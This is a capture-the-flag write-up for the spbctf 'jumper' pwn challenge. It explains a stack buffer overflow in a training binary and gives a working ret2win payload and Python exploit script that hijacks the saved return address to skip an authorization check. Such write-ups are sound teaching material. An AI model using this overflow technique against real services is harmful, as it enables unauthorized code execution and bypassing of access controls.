jumper
jumper
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: jump_past_authorization_check, ret2win, stack_alignment_fix_with_ret_gadget, stack_buffer_overflow
Summary
Task: x86-64 pwn binary (No PIE, No canary) reads 0x200 bytes into a 0x108 stack buffer, causing a classic stack overflow; a read_flag routine gates flag printing behind an impossible pointer-equality check. Solution: ret2win overwriting saved RIP to jump PAST the check into the flag-printing body, plus a bare ret gadget to fix 16-byte stack alignment for glibc movaps.
jumper — spbctf
Description
Enter your login at pwn.spbctf.ru:
Remote: nc 109.233.56.90 11590
Binary: task_jumper (provided at https://pwn.spbctf.ru/files/canary/task_jumper)
A 64-bit ELF prompts for a "login", reads it, then compares the input against a
data pointer inside a read_flag routine. On a (never-satisfiable) match it
opens flag.txt and prints it. The goal is to obtain the flag.
Analysis
Binary properties (checksec / rabin2)
- ELF 64-bit x86-64, dynamically linked, not stripped, BuildID
063880228111e05c19fe6a184c06f793ea317ac1 - No PIE (base
0x400000) - No stack canary
- NX enabled
- Partial RELRO
The combination No PIE + No canary means any hard-coded code address is stable and there is no stack cookie to bypass — a textbook ret2win setup.
Key functions
main(0x4008bc): sets up buffering, callslogic.logic(0x40087e):sub rsp, 0x108; printsEnter your login at pwn.spbctf.ru:; callsread_n(rsp, 0x200); then callsread_flag(rdi=rsp, rsi=0x6010a0 <data>).read_n(0x400757): reads up to N bytes one-by-one viaread()into a buffer, stopping at EOF or newline. Here N = 0x200 (512) but the destination buffer inlogicis only 0x108 (264) bytes → stack buffer overflow.read_flag(0x4007d2): comparesarg1(rdi, the input buffer pointer) witharg2(rsi, thedatapointer):cmp rax,[rsp]; je 0x4007fb.- If equal, execution falls into the flag-printing body at 0x4007fb:
fopen("flag.txt","r"),memset,fread0x80 bytes,fclose,putsthe contents,exit(0). - Otherwise it prints
Sorry, no flag for you...and returns.
- If equal, execution falls into the flag-printing body at 0x4007fb:
The vulnerability
read_n reads 512 bytes into a 264-byte buffer. The offset from the start of the
buffer to the saved return address of logic is exactly 0x108 = 264 bytes.
The pointer-equality check inside read_flag compares two distinct pointers
(the input buffer vs the global data), so it can never be satisfied with normal
input. Instead of trying to satisfy it, we jump past the check — the "jumper"
hint — by overwriting the saved RIP with 0x4007fb, the flag-printing body that
sits right after the je target.
Solution
- Fill the 264-byte buffer + saved RBP region to reach the saved return address.
- Place a bare
retgadget (0x4005de) to realign the stack to a 16-byte boundary. Without this, glibc'smovaps(used insidefopen/fread/puts) faults on a misaligned stack (SIGSEGV). - Place the win address
0x4007fb(the flag body, immediately past thejeauthorization check).
Addresses:
| Purpose | Address |
|---|---|
| RET gadget (alignment) | 0x4005de |
| WIN (flag-printing body, past check) | 0x4007fb |
| Overflow offset to saved RIP | 0x108 |
| |
Final payload:
payload = b"A"*0x108 + p64(0x4005de) + p64(0x4007fb)
Exploit script
python read-only • copy allowed#!/usr/bin/env python3 import socket, struct, time HOST = "109.233.56.90" PORT = 11590 def p64(x): return struct.pack("<Q", x) RET = 0x4005de # bare `ret` gadget -> restores 16-byte stack alignment WIN = 0x4007fb # read_flag body, immediately past the pointer-equality check OFF = 0x108 # bytes to overwrite saved RIP of logic() payload = b"A"*OFF + p64(RET) + p64(WIN) s = socket.socket() s.settimeout(5) s.connect((HOST, PORT)) data = b"" time.sleep(0.3) try: data += s.recv(4096) # banner / prompt except socket.timeout: pass s.sendall(payload + b"\n") time.sleep(0.5) while True: try: chunk = s.recv(4096) if not chunk: break data += chunk except socket.timeout: break s.close() print(data.decode(errors="replace"))
Sending this to the remote returns the flag. The variant without the alignment
ret (b"A"*0x108 + p64(WIN)) may crash inside glibc due to movaps on a
misaligned stack; the aligned variant works reliably.